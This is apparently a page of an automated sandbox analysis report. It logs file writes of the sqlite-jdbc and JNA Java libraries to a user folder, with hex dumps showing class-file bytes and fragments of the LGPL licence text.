65 6e 73 65 2e 20 20 
49 66 20 74 68 65 20 
77 6f 72 6b 0a 64 75 
72 69 6e 67 20 65 78 
65 63 75 

 for debugging such 
modifications...  You must 
give prominent notice with 
each copy of the work that 
the.Library is used in it and 
that the Library and its use 
are covered by.this 
License.  You must supply 
a copy of this License.  If 
the work.during execu
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 1c 77 ec 1e 2a e3 85 
5c 93 05 51 19 21 01 
b7 e9 bc 84 f1 a0 ad 
26 8d 83 62 0b 3c 44 
3e 8f 7e 1e 2e 74 0b 
8e 7c 6e 9d 1f 8f 98 
32 ca a0 3f 8c fe e1 
75 7e 3c 57 ca 78 f1 
3a ff ff 01 50 4b 03 04 
0a 00 00 00 08 00 38 
66 3e 49 b4 ac 67 f1 
b1 06 00 00 71 0c 00 
00 3b 00 00 00 6f 72 
67 2f 73 71 6c 69 74 
65 2f 63 6f 72 65 2f 43 
6f 72 65 44 61 74 61 
62 61 73 65 4d 65 74 
61 44 61 74 61 24 50 
72 69 6d 61 72 79 4b 
65 79 46 69 6e 64 65 
72 2e 63 6c 61 73 73 
9d 56 7b 6c 53 e7 15 
ff 1d fb da d7 76 6e 68 
30 09 d4 a3 d9 dc 12 
62 c7 49 9a 8e 0e 18 
a1 d0 82 81 92 26 71 
81 a4 b4 b4 5b b3 8b 
f3 c5 b9 60 df 6b ae af 
21 69 37 b6 76 ac eb 
fb fd 0a a5 af f4 91 f6 
9f aa 0f 30 a2 cf 69 12 
54 da bf 93 b6 55 aa 
54 a9 db 5a 09 b4 a9 
d5 a6 ad 48 3c 76 be 
eb 04 82 63 10 9a 25 
7f e7 7b 9c 

.w..*..\..Q.!........&..b.<D>.
~..t..|n....2..?...u~<W.x.:...
PK........8f>I..g.....q...;...
org/sqlite/core/CoreDataba
seMe
taData$PrimaryKeyFinder.
class.
V{lS.......vnh0......b.I......
...&q....[.....`.k..!i7.v.....
........0..i.T....U.T..Z......
H<v....c..%..{.

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 20 74 68 65 6d 2c 20 
61 73 20 77 65 6c 6c 
20 61 73 20 61 20 72 
65 66 65 72 65 6e 63 
65 0a 64 69 72 65 63 
74 69 6e 67 20 74 68 
65 20 75 73 65 72 20 
74 6f 20 74 68 65 20 
63 6f 70 79 20 6f 66 
20 74 68 69 73 20 4c 
69 63 65 6e 73 65 2e 
20 20 41 6c 73 6f 2c 
20 79 6f 75 20 6d 75 
73 74 20 64 6f 20 6f 
6e 65 0a 6f 66 20 74 
68 65 73 65 20 74 68 
69 6e 67 73 3a 0a 0a 
20 20 20 20 61 29 20 
41 63 63 6f 6d 70 61 
6e 79 20 74 68 65 20 
77 6f 72 6b 20 77 69 
74 68 20 74 68 65 20 
63 6f 6d 70 6c 65 74 
65 20 63 6f 72 72 65 
73 70 6f 6e 64 69 6e 
67 0a 20 20 20 20 6d 
61 63 68 69 6e 65 2d 
72 65 61 64 61 62 6c 
65 20 73 6f 75 72 63 
65 20 63 6f 64 65 20 
66 6f 72 20 74 68 65 
20 4c 69 62 72 61 72 
79 20 69 6e 63 6c 75 
64 69 6e 67 20 77 68 
61 74 65 76 65 72 0a 
20 20 20 20 63 68 61 
6e 67 65 

 them, as well as a 
reference.directing the 
user to the copy of this 
License.  Also, you must 
do one.of these things:..    
a) Accompany the work 
with the complete 
corresponding.    machine-
readable source code for 
the Library including what
ever.    change
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 65 72 27 73 20 63 6f 
6d 70 75 74 65 72 20 
73 79 73 74 65 6d 2c 
0a 20 20 20 20 72 61 
74 68 65 72 20 74 68 
61 6e 20 63 6f 70 79 
69 6e 67 20 6c 69 62 
72 61 72 79 20 66 75 
6e 63 74 69 6f 6e 73 
20 69 6e 74 6f 20 74 
68 65 20 65 78 65 63 
75 74 61 62 6c 65 2c 
20 61 6e 64 20 28 32 
29 0a 20 20 20 20 77 
69 6c 6c 20 6f 70 65 
72 61 74 65 20 70 72 
6f 70 65 72 6c 79 20 
77 69 74 68 20 61 20 
6d 6f 64 69 66 69 65 
64 20 76 65 72 73 69 
6f 6e 20 6f 66 20 74 
68 65 20 6c 69 62 72 
61 72 79 2c 20 69 66 
0a 20 20 20 20 74 68 
65 20 75 73 65 72 20 
69 6e 73 74 61 6c 6c 
73 20 6f 6e 65 2c 20 
61 73 20 6c 6f 6e 67 
20 61 73 20 74 68 65 
20 6d 6f 64 69 66 69 
65 64 20 76 65 72 73 
69 6f 6e 20 69 73 0a 
20 20 20 20 69 6e 74 
65 72 66 61 63 65 2d 
63 6f 6d 70 61 74 69 
62 6c 65 20 77 69 74 
68 20 74 

er's computer system,.    
rather than copying library 
functions into the 
executable, and (2).    will 
operate properly with a 
modified version of the 
library, if.    the user insta
lls one, as long as the 
modified version is.    
interface-compatible with t

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 69 64 20 66 6f 72 20 
61 74 0a 20 20 20 20 
6c 65 61 73 74 20 74 
68 72 65 65 20 79 65 
61 72 73 2c 20 74 6f 
20 67 69 76 65 20 74 
68 65 20 73 61 6d 65 
20 75 73 65 72 20 74 
68 65 20 6d 61 74 65 
72 69 61 6c 73 0a 20 
20 20 20 73 70 65 63 
69 66 69 65 64 20 69 
6e 20 53 75 62 73 65 
63 74 69 6f 6e 20 36 
61 2c 20 61 62 6f 76 
65 2c 20 66 6f 72 20 
61 20 63 68 61 72 67 
65 20 6e 6f 20 6d 6f 
72 65 0a 20 20 20 20 
74 68 61 6e 20 74 68 
65 20 63 6f 73 74 20 
6f 66 20 70 65 72 66 
6f 72 6d 69 6e 67 20 
74 68 69 73 20 64 69 
73 74 72 69 62 75 74 
69 6f 6e 2e 0a 0a 20 
20 20 20 64 29 20 49 
66 20 64 69 73 74 72 
69 62 75 74 69 6f 6e 
20 6f 66 20 74 68 65 
20 77 6f 72 6b 20 69 
73 20 6d 61 64 65 20 
62 79 20 6f 66 66 65 
72 69 6e 67 20 61 63 
63 65 73 73 20 74 6f 
20 63 6f 70 79 0a 20 
20 20 20 

id for at.    least three year
s, to give the same user 
the materials.    specified 
in Subsection 6a, above, 
for a charge no more.    
than the cost of performing 
this distribution...    d) If 
distribution of the work is 
made by offering access to 
copy.    
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6c 69 63 65 6e 73 65 
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6f 66 20 6f 74 68 65 
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6c 69 62 72 61 72 69 
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20 6e 6f 72 6d 61 6c 
6c 79 0a 61 63 63 6f 
6d 70 61 6e 79 20 74 
68 65 20 6f 70 65 72 
61 74 69 6e 67 20 73 
79 73 74 65 6d 2e 20 
20 53 75 63 68 20 61 
20 63 6f 6e 74 72 61 
64 69 63 74 69 6f 6e 
20 6d 65 61 6e 73 20 
79 6f 75 20 63 61 6e 
6e 6f 74 0a 75 73 65 
20 62 6f 74 68 20 74 
68 65 6d 20 61 6e 64 
20 74 68 65 20 4c 69 
62 72 61 72 79 20 74 
6f 67 65 74 68 65 72 
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61 63 65 

ntradicts the 
license.restrictions of other 
proprietary libraries that do 
not normally.accompany 
the operating system.  
Such a contradiction 
means you cannot.use 
both them and the Library 
together in an executable 
that you.distribute....  7. 
You may place

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 1b ec 40 e7 d9 a9 d7 
02 b8 24 e3 30 32 94 
f6 42 59 a7 a8 48 9d 
77 96 3a a9 e2 96 e2 
71 68 f2 38 9d 0b e0 
75 19 6f e0 4d 19 97 
f1 96 c0 9a db c4 8b 
95 be 2d e3 1d bc 2b 
e3 3d bc 2f e3 a7 f8 
40 60 73 6f 6c a2 94 
1e 4d 8e 0c 8e 8e 4f 
94 ba 0f 0e 31 4e 44 
a3 bd b1 81 2d dd 04 
5d 13 5d bd 31 4f e9 
ca 0e 90 f1 33 fc 5c 
c6 7e dc 2f d0 c7 aa 
12 87 52 99 ec e8 60 
32 95 25 3d 51 5b 41 
a9 7b 75 fd b6 6a 19 
07 f8 ec e6 6f 53 d1 
02 db be cd b6 cd 2b 
1f db a6 a5 98 64 67 
4c e3 a4 53 d6 2d ab 
d5 30 95 ff ba db bf ab 
ff 15 7e e7 08 55 f0 94 
61 ce 29 b4 b6 73 15 
85 0f 0d df 9a af d5 fb 
c4 4f 35 3f 6d cd d8 
2d 48 0f 91 14 4d b2 
2b fe dc 8c 62 0e 5a 
0e 4f 10 57 8a d4 a7 
79 7a fc a3 89 95 6a 
bc ce a0 46 b0 0c cf 
bb e6 e8 aa f6 02 39 
63 ae 68 37 47 ef 2a 
5e 27 bb 6e fb e6 49 

..@......$.02..BY..H.w.:....q
h.8...u.o.M...........-...+.=./
...@`sol...M....O....1ND....-.
.].].1O.....3.\.~./.....R...`2
.%=Q[A.{u..j.....oS.......+...
..dgL..S.-..0........~..U..a.)
..s..........O5?m..-H...M.+...
b.Z.O.W...yz....j...F.........
9c.h7G.*^'.n..I

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 230 of 706



C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 d3 e9 c9 ca 23 b4 95 
ce f1 9d 7d b1 45 6c 
5e 7a f1 42 f6 a3 b1 
05 92 e8 59 16 18 9f 
6b d2 8b 7b 8e 5c cf 
93 2a 27 32 bb ed 57 
90 c2 17 b9 33 bc e9 
3a 3a 7f 85 68 a4 cb 
1d c5 ae d8 ef fc b0 fd 
58 72 f8 6e 90 82 9b 
64 e6 f7 e4 dd 1f d0 
4c b2 8a 2a 96 cd 4f 
a1 d7 76 40 60 0b 7d 
b9 7a 20 fe 03 50 4b 
03 04 0a 00 00 00 08 
00 38 66 3e 49 24 66 
6f 9c de 01 00 00 19 
03 00 00 2d 00 00 00 
6f 72 67 2f 73 71 6c 
69 74 65 2f 63 6f 72 
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68 65 20 4c 69 62 72 
61 72 79 20 61 6e 64 
20 6f 66 20 74 68 65 
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6c 69 62 72 61 72 79 
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20 6f 74 68 65 72 77 
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6f 76 69 64 65 64 20 
74 68 61 

gether with other 
library.facilities not 
covered by this License, 
and distribute such a co
mbined.library, provided 
that the separate 
distribution of the work 
based on.the Library and 
of the other library facilities 
is otherwise.permitted, and 
provided tha
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73 6f 20 6c 6f 6e 67 
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68 20 70 61 72 74 69 
65 73 20 72 65 6d 61 
69 6e 20 69 6e 20 66 
75 6c 6c 20 63 6f 6d 
70 6c 69 61 6e 63 65 
2e 0a 0a 20 20 39 2e 
20 59 6f 75 20 61 72 
65 20 6e 6f 74 20 72 
65 71 75 69 72 65 64 
20 74 6f 20 61 63 63 
65 70 74 20 74 68 69 
73 20 4c 69 63 65 6e 
73 65 2c 20 73 69 6e 
63 65 20 79 6f 75 20 
68 61 76 65 20 6e 6f 
74 0a 73 69 67 6e 65 
64 20 69 74 2e 20 20 
48 6f 77 65 76 65 72 
2c 20 6e 6f 74 68 69 
6e 67 20 65 6c 73 65 
20 67 72 61 6e 74 73 
20 79 6f 

ved copies,.or rights, from 
you under this License will 
not have their 
licenses.terminated so 
long as such parties remai
n in full compliance...  9. 
You are not required to 
accept this License, since 
you have not.signed it.  
However, nothing else 
grants yo
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74 68 69 73 20 4c 69 
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74 69 6f 6e 73 20 66 
6f 72 20 63 6f 70 79 
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.prohibited by law if you do 
not accept this License.  
Therefore, by.modifying or 
distributing the Library (or 
any work based on 
the.Library), you indicate 
your acceptance of this 
License to do so, and.all 
its terms and conditions for 
copying, distributin
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use you from the 
conditions of this License.  
If you cannot.distribute so 
as to satisfy si
multaneously your 
obligations under 
this.License and any other 
pertinent obligations, then 
as a consequence 
you.may not distribute the 
Library at all.  For 
example, 
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63 65 69 76 65 20 63 
6f 70 69 65 73 20 64 
69 72 65 63 74 6c 79 
20 6f 72 20 69 6e 64 
69 72 65 63 74 6c 79 
20 74 68 72 6f 75 67 
68 20 79 6f 75 2c 20 
74 68 65 6e 0a 74 68 
65 20 6f 6e 6c 79 20 
77 61 79 20 79 6f 75 
20 63 6f 75 6c 64 20 
73 61 74 69 73 66 79 
20 62 6f 74 68 20 69 
74 20 61 6e 64 20 74 
68 69 73 20 4c 69 63 
65 6e 73 65 20 77 6f 
75 6c 64 20 62 65 20 
74 6f 0a 72 65 66 72 
61 69 6e 20 65 6e 74 
69 72 65 6c 79 20 66 
72 6f 6d 20 64 69 73 
74 72 69 62 75 74 69 
6f 6e 20 6f 66 20 74 
68 65 20 4c 69 62 72 
61 72 79 2e 0a 0a 49 
66 20 61 6e 79 20 70 
6f 72 74 69 6f 6e 20 6f 
66 20 74 68 69 73 20 
73 65 63 74 69 6f 6e 
20 69 73 20 68 65 6c 
64 20 69 6e 76 61 6c 
69 64 20 6f 72 20 75 
6e 65 6e 66 6f 72 63 
65 61 62 6c 65 20 75 
6e 64 65 72 20 61 6e 
79 0a 

 who receive copies 
directly or indirectly 
through you, then.the only 
way you could satisfy both 
it and this License would 
be to.refrain entirely from 
distribution of the Library..
.If any portion of this sectio
n is held invalid or 
unenforceable under any.
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61 74 20 69 73 20 62 
65 6c 69 65 76 65 64 
20 74 6f 0a 62 65 20 
61 20 63 6f 6e 73 65 
71 75 65 6e 63 65 20 
6f 66 20 74 68 65 20 
72 65 73 74 20 6f 66 
20 74 68 69 73 20 4c 
69 63 65 6e 73 65 2e 
0a 0a 20 20 31 32 2e 
20 49 66 20 74 68 65 
20 64 69 73 74 72 69 
62 75 74 69 6f 6e 20 
61 6e 64 2f 6f 72 20 
75 73 65 20 6f 66 20 
74 68 65 20 4c 69 62 
72 61 72 79 20 69 73 
20 72 65 73 74 72 69 
63 74 65 64 20 69 6e 
0a 63 65 72 74 61 69 
6e 20 63 6f 75 6e 74 
72 69 65 73 20 65 69 
74 68 65 72 20 62 79 
20 70 61 74 65 6e 74 
73 20 6f 72 20 62 79 
20 63 6f 70 79 72 69 
67 68 74 65 64 20 69 
6e 74 65 72 66 61 63 
65 73 2c 20 74 68 65 
0a 6f 72 

s section is intended to 
make thoroughly clear 
what is believed to.be a 
consequence of the rest of 
this License...  12. If the 
distribution and/or use of 
the Library is restricted 
in.certain countries either 
by patents or by 
copyrighted interfaces, 
the.or
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2c 0a 73 6f 20 74 68 
61 74 20 64 69 73 74 
72 69 62 75 74 69 6f 
6e 20 69 73 20 70 65 
72 6d 69 74 74 65 64 
20 6f 6e 6c 79 20 69 
6e 20 6f 72 20 61 6d 
6f 6e 67 20 63 6f 75 
6e 74 72 69 65 73 20 
6e 6f 74 20 74 68 75 
73 0a 65 78 63 6c 75 
64 65 64 2e 20 20 49 
6e 20 73 75 63 68 20 
63 61 73 65 2c 20 74 
68 69 73 20 4c 69 63 
65 6e 73 65 20 69 6e 
63 6f 72 70 6f 72 61 
74 65 73 20 74 68 65 
20 6c 69 6d 69 74 61 
74 69 6f 6e 20 61 73 
20 69 66 0a 77 72 69 
74 74 65 6e 20 69 6e 
20 74 68 65 20 62 6f 
64 79 20 6f 66 20 74 
68 69 73 20 4c 69 63 
65 6e 73 65 2e 0a 0a 
20 20 31 33 2e 20 54 
68 65 20 46 72 65 65 
20 53 6f 

phical distribution limitation 
excluding those 
countries,.so that 
distribution is permitted 
only in or among countries 
not thus.excluded.  In such 
case, this License 
incorporates the limitation 
as if.written in the body of 
this License...  13. The 
Free So
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6f 73 65 20 64 69 73 
74 72 69 62 75 74 69 
6f 6e 20 63 6f 6e 64 
69 74 69 6f 6e 73 20 
61 72 65 20 69 6e 63 
6f 6d 70 61 74 69 62 
6c 65 20 77 69 74 68 
20 74 68 65 73 65 2c 
0a 77 72 69 74 65 20 
74 6f 20 74 68 65 20 
61 75 74 68 6f 72 20 
74 6f 20 61 73 6b 20 
66 6f 72 20 70 65 72 
6d 69 73 73 69 6f 6e 
2e 20 20 46 6f 72 20 
73 6f 66 74 77 61 72 
65 20 77 68 69 63 68 
20 69 73 0a 63 6f 70 
79 72 69 67 68 74 65 
64 20 62 79 20 74 68 
65 20 46 72 65 65 20 
53 6f 66 74 77 61 72 
65 20 46 6f 75 6e 64 
61 74 69 6f 6e 2c 20 
77 72 69 74 65 20 74 
6f 20 74 68 65 20 46 
72 65 65 0a 53 6f 66 
74 77 61 72 65 20 46 
6f 75 6e 64 61 74 69 
6f 6e 3b 20 77 65 20 
73 6f 6d 65 74 69 6d 
65 73 20 6d 61 6b 65 
20 65 78 63 65 70 74 
69 6f 6e 73 20 66 6f 
72 20 74 68 69 73 2e 
20 20 4f 75 72 0a 64 
65 63 69 

ose distribution conditions 
are incompatible with 
these,.write to the author 
to ask for permission.  For 
software which 
is.copyrighted by the Free 
Software Foundation, write 
to the Free.Software 
Foundation; we sometimes 
make exceptions for this.  
Our.deci
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20 4c 49 43 45 4e 53 
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52 47 45 2c 20 54 48 
45 52 45 20 49 53 20 
4e 4f 0a 57 41 52 52 
41 4e 54 59 20 46 4f 
52 20 54 48 45 20 4c 
49 42 52 41 52 59 2c 
20 54 4f 20 54 48 45 
20 45 58 54 45 4e 54 
20 50 45 52 4d 49 54 
54 45 44 20 42 59 20 
41 50 50 4c 49 43 41 
42 4c 45 20 4c 41 57 
2e 0a 45 58 43 45 50 
54 20 57 48 45 4e 20 
4f 54 48 45 52 57 49 
53 45 20 

 free software and of 
promoting the sharing.and 
reuse of software 
generally......    NO WA
RRANTY..  15. BECAUSE 
THE LIBRARY IS 
LICENSED FREE OF 
CHARGE, THERE IS 
NO.WARRANTY FOR 
THE LIBRARY, TO THE 
EXTENT PERMITTED BY 
APPLICABLE 
LAW..EXCEPT WHEN 
OTHERWISE 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 54 4f 20 55 53 45 20 
54 48 45 0a 4c 49 42 
52 41 52 59 20 28 49 
4e 43 4c 55 44 49 4e 
47 20 42 55 54 20 4e 
4f 54 20 4c 49 4d 49 
54 45 44 20 54 4f 20 
4c 4f 53 53 20 4f 46 
20 44 41 54 41 20 4f 
52 20 44 41 54 41 20 
42 45 49 4e 47 0a 52 
45 4e 44 45 52 45 44 
20 49 4e 41 43 43 55 
52 41 54 45 20 4f 52 
20 4c 4f 53 53 45 53 
20 53 55 53 54 41 49 
4e 45 44 20 42 59 20 
59 4f 55 20 4f 52 20 
54 48 49 52 44 20 50 
41 52 54 49 45 53 20 
4f 52 20 41 0a 46 41 
49 4c 55 52 45 20 4f 
46 20 54 48 45 20 4c 
49 42 52 41 52 59 20 
54 4f 20 4f 50 45 52 
41 54 45 20 57 49 54 
48 20 41 4e 59 20 4f 
54 48 45 52 20 53 4f 
46 54 57 41 52 45 29 
2c 20 45 56 45 4e 20 
49 46 0a 53 55 43 48 
20 48 4f 4c 44 45 52 
20 4f 52 20 4f 54 48 
45 52 20 50 41 52 54 
59 20 48 41 53 20 42 
45 45 4e 20 41 44 56 
49 53 45 

TO USE THE.LIBRARY 
(INCLUDING BUT NOT 
LIMITED TO LOSS OF 
DATA OR DATA 
BEING.RENDERED 
INACCURATE OR 
LOSSES SUSTAINED BY 
YOU OR THIRD PARTIES 
OR A.FAILURE OF THE 
LIBRARY TO OPERATE 
WITH ANY OTHER 
SOFTWARE), EVEN 
IF.SUCH HOLDER OR 
OTHER PARTY HAS 
BEEN ADVISE
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44 65 66 24 48 57 4e 
44 3b 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 53 
74 72 69 6e 67 3b 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 53 74 72 69 
6e 67 3b 4c 6a 61 76 
61 2f 61 77 74 2f 52 
65 63 74 61 6e 67 6c 
65 3b 29 56 01 00 04 
43 6f 64 65 01 00 0f 
4c 69 6e 65 4e 75 6d 
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65 01 00 12 4c 6f 63 
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b6 e1 1e 21 ef 2e 74 
71 dd cd 6f fb 88 e0 
e1 1e 4c dc 19 f2 de 
80 f2 3b c9 b9 87 6b 
58 d2 77 20 40 94 07 
78 aa b3 f9 d0 8d bd 
f2 b9 18 94 7a 14 89 
b6 cf 41 1b 20 9a d7 
41 6b 28 83 b6 8b 68 
5d 12 2d 66 f3 ad 41 
13 27 61 af 47 e2 3e 
e8 c2 f5 d9 b8 b1 72 
56 76 13 77 ef 57 e2 
0a ff 6d dc 1e 07 77 
92 dc e2 

.w!.k.D.+n......U.+.d.ve..U.[.

....^e.`V4.&....D....&..'..E.v

..R.6.V\z][........3..Y...bgV.
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fV...(.A..P......v>.<...."....
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f..A.'a.G.>......rVv
.w.W...m...w...
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 97 3f 17 28 e0 9b 87 
96 88 d6 20 70 86 00 
d1 b9 0b 2f 12 6a ee 
c2 12 42 d7 11 be 06 
d3 c5 51 61 73 5c 92 
1c 97 96 b0 41 72 0c 
ba 38 36 da 1c 92 61 
09 55 f2 fe ee 44 74 
09 d5 f2 d8 f4 31 22 
c7 3f c6 a6 e3 37 50 
13 a9 5d 44 9d b0 77 
11 77 2c 62 f3 0d d4 
7f 2a be 55 05 df c5 
58 d8 3e 8d cf 86 8d 
1a 6c 39 77 bf 1a 0d 
5d be 8a 50 53 f4 f2 
15 44 78 7e 1d bd 75 
6a f4 4c e8 f2 3c ba 
dc 90 0d 84 a4 b2 ad 
dc 22 8d 2b f0 91 28 
cf 75 aa 7d e1 e8 12 
79 f1 ca bc e4 d0 c0 
75 90 31 3e c8 58 1e 
62 bc 1f 65 16 1e c3 
c3 18 22 65 18 c7 70 
84 a3 f0 18 87 e0 13 
98 e0 29 8b 27 31 cb 
b9 f8 0c be 83 73 9c 
de af f0 e6 3c a7 e3 
3c 92 8c a9 81 f7 30 
c6 f1 3a 8e bf 90 fb 6f 
38 89 5b c8 e0 0b 98 
4a 05 b2 0a 5f 75 95 
7b f9 62 bb 9c f3 5b 
78 9c 55 d0 26 2a 43 
e9 5c ce 3e 4f 3b 65 
33 7a 

.?.(...... p...../.j...B......
Qas\.....Ar..86...a.U...Dt....
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 ed 72 d0 03 00 00 49 
07 00 00 24 00 00 00 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 4c 61 73 
74 45 72 72 6f 72 45 
78 63 65 70 74 69 6f 
6e 2e 63 6c 61 73 73 
8d 55 6b 73 13 65 14 
7e de 5c ba c9 66 0b 
25 96 16 5a 84 14 05 
d3 a4 10 45 c5 0b e5 
d6 d2 96 94 94 5b a1 
08 88 ba 4d de 86 c5 
64 37 b3 bb 11 fe 0a 
bf 80 2f 8e 53 66 24 
ed e8 8c 3f c0 1f a5 
3e ef 9b 6d 92 a1 41 
cd cc be 97 73 79 ce 
79 ce 39 bb f9 f3 af df 
fe 00 70 0e 75 13 5f 
e3 82 81 79 13 31 5c 
4c e1 92 da 2f ab e5 
8a 5a ae a6 b0 60 62 
11 d7 4c 4c 60 c9 c0 
72 9a fb 8a 89 eb 28 
2b c9 aa 89 49 dc 48 
a1 a2 24 6b 29 dc 54 
fb 2d b5 dc 56 ea 3b 
06 ee 1a 58 17 18 0b 
a4 ef d8 8d 0d e9 07 
8e e7 de 2f 5f 13 10 
ab 02 a3 8b 9e 1b 84 
b6 1b 6e d8 8d b6 4c 
a2 fb 13 02 69 e9 fb 
9e bf e8 d5 24 0d cb 
34 dc f2 fc a6 1d ae 
c9 

.r....I...$...com/sun/jna/Last
ErrorException.class.Uks.e
.~.\..f.%..Z......E........[....M.
..d7......./.Sf$...?...>..m..A
....sy.y.9.......p.u._...y.1\L
.../...Z...`b..LL`..r.....(+..
.I.H..$k).T.-..V.;...X........
...../_...........n...L....i..
....$..4.......
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 ad 9e d2 9e e8 17 d3 
9e 28 14 d7 9e 68 99 
d0 9e a8 98 c4 b5 fd 
36 24 6a 28 8a ca 50 
d7 64 a4 e8 75 8e bc 
f6 c6 71 99 73 86 de 
18 6e e2 12 e4 af 73 
8c a4 23 7f 01 50 4b 
03 04 0a 00 00 08 08 
00 8c 8c 5e 4f 10 60 
6e 67 62 0b 00 00 ec 
18 00 00 21 00 00 00 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 4c 69 62 
72 61 72 79 24 48 61 
6e 64 6c 65 72 2e 63 
6c 61 73 73 8d 58 0b 
7c 53 d5 19 ff 9f 26 ed 
4d d2 5b 28 29 ad 84 
97 a1 14 4c 5f 44 a9 
a2 06 44 a0 14 a9 94 
82 b4 e0 0a 4e 4d db 
db 36 90 26 35 49 41 
dc 9c 73 3a e7 dc a6 
db 9c 13 dc e6 36 dd 
64 f8 04 a4 2d d8 21 
8a b3 4c a7 db 9c f3 
ed 74 f3 fd 9a ef 27 43 
d8 ff dc 9b a4 79 35 f6 
d7 5f cf fd ce 39 df f9 
de df 77 be 93 87 8f 
dc 73 2f 80 d9 e2 64 
05 7f b0 a1 1e db 15 
dc 6a 83 09 db ad 68 
c2 6d 16 dc 6e c3 1d 
b8 53 0e 77 29 

........(...h........6$j(..P.d

..u....q.s...n....s..#..PK....

......^O.`ngb.......!...com/su
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 00 2b 0c 00 08 00 0c 
0c 00 0d 00 0e 0c 00 
0f 00 0e 0c 00 10 00 
11 01 00 22 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 44 65 73 
6b 74 6f 70 57 69 6e 
64 6f 77 01 00 10 6a 
61 76 61 2f 6c 61 6e 
67 2f 4f 62 6a 65 63 
74 07 00 2c 01 00 26 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 44 65 66 24 48 57 
4e 44 01 00 03 28 29 
56 01 00 21 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 77 69 6e 
33 32 2f 57 69 6e 44 
65 66 00 21 00 06 00 
07 00 00 00 04 00 02 
00 08 00 0c 00 00 00 
02 00 0d 00 0e 00 00 
00 02 00 0f 00 0e 00 
00 00 02 00 10 00 11 
00 00 00 05 00 01 00 
12 00 13 00 01 00 14 
00 00 00 80 00 02 00 
05 00 00 00 1a 2a b7 
00 01 2a 2b b5 00 02 
2a 2c b5 00 03 2a 2d 
b5 00 04 2a 19 04 b5 
00 05 

.+......................"com/s
un/jna/platform/DesktopWi
ndow.
..java/lang/Object..,..&com/
su
n/jna/platform/win32/WinD
ef$HWND...
()V..!com/sun/jna/platfor
m/win32/WinDef.!..............
..............................
....................*...*+...*,...*-
...*.....
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 28 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 43 6c 
61 73 73 3c 54 54 3b 
3e 3b 29 56 01 00 0a 
66 72 6f 6d 4e 61 74 
69 76 65 01 00 43 28 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 4f 62 6a 
65 63 74 3b 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 46 72 6f 6d 
4e 61 74 69 76 65 43 
6f 6e 74 65 78 74 3b 
29 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 45 6e 
75 6d 3b 01 00 05 69 
6e 70 75 74 01 00 12 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 4f 62 6a 
65 63 74 3b 01 00 07 
63 6f 6e 74 65 78 74 
01 00 1f 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 46 72 6f 6d 4e 61 
74 69 76 65 43 6f 6e 
74 65 78 74 3b 01 00 
01 69 01 00 13 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 49 6e 74 65 67 
65 72 3b 01 00 04 76 
61 6c 73 01 00 11 5b 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 45 6e 75 
6d 3b 01 00 04 5b 54 
54 3b 01 00 36 28 4c 
6a 61 76 61 2f 6c 61 
6e 67 

(Ljava/lang/Class<TT;>;)V.
..fr
omNative..C(Ljava/lang/Ob
ject;
Lcom/sun/jna/FromNative
Context
;)Ljava/lang/Enum;...input..
.L
java/lang/Object;...context.
..
Lcom/sun/jna/FromNative
Context
;...i...Ljava/lang/Integer;...
vals...[Ljava/lang/Enum;...
[TT;..6(Ljava/lang
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 3d 29 b0 68 00 59 83 
32 8b 3c 23 3f b2 f1 
04 f6 48 81 86 51 b2 
e9 b8 b8 80 0c d9 dc 
57 03 4c 64 c9 67 28 
1f a3 ae 7e f1 33 b4 
87 01 f1 71 9f 78 1c 
13 e4 27 e3 9e 29 42 
d1 e9 68 93 08 b2 99 
40 b4 8d b7 01 c2 59 
0f 41 4b 08 79 7a 75 
aa cc 24 ac 02 c5 b3 
71 34 f7 09 50 4b 03 
04 0a 00 00 00 08 00 
38 66 3e 49 08 96 46 
6b d6 01 00 00 fe 03 
00 00 26 00 00 00 6f 
72 67 2f 73 71 6c 69 
74 65 2f 64 61 74 65 
2f 46 61 73 74 44 61 
74 65 46 6f 72 6d 61 
74 24 31 2e 63 6c 61 
73 73 a5 52 5d 4f 13 
41 14 3d d3 6e bb eb 
b6 02 02 7e a2 88 c8 
03 14 75 95 d7 12 7c 
28 36 21 59 7d 29 69 
02 6f d3 ed a4 1d b3 
9d 95 d9 a9 e1 67 e1 
8b 24 9a f8 03 fc 51 
c6 3b d3 4d 53 c1 d0 
44 37 99 b9 77 cf de 
7b ce b9 33 fb f3 d7 
b7 1f 00 f6 b0 15 a2 
8a 27 3e d6 43 94 f0 
34 44 05 1b 3e 9e f9 
d8 64 a8 

=).h.Y.2.
<#?....H..Q........W.
Ld.g(...~.3....q.x...'..)B..h.
...@.....Y.AK.yzu..$....q4..P
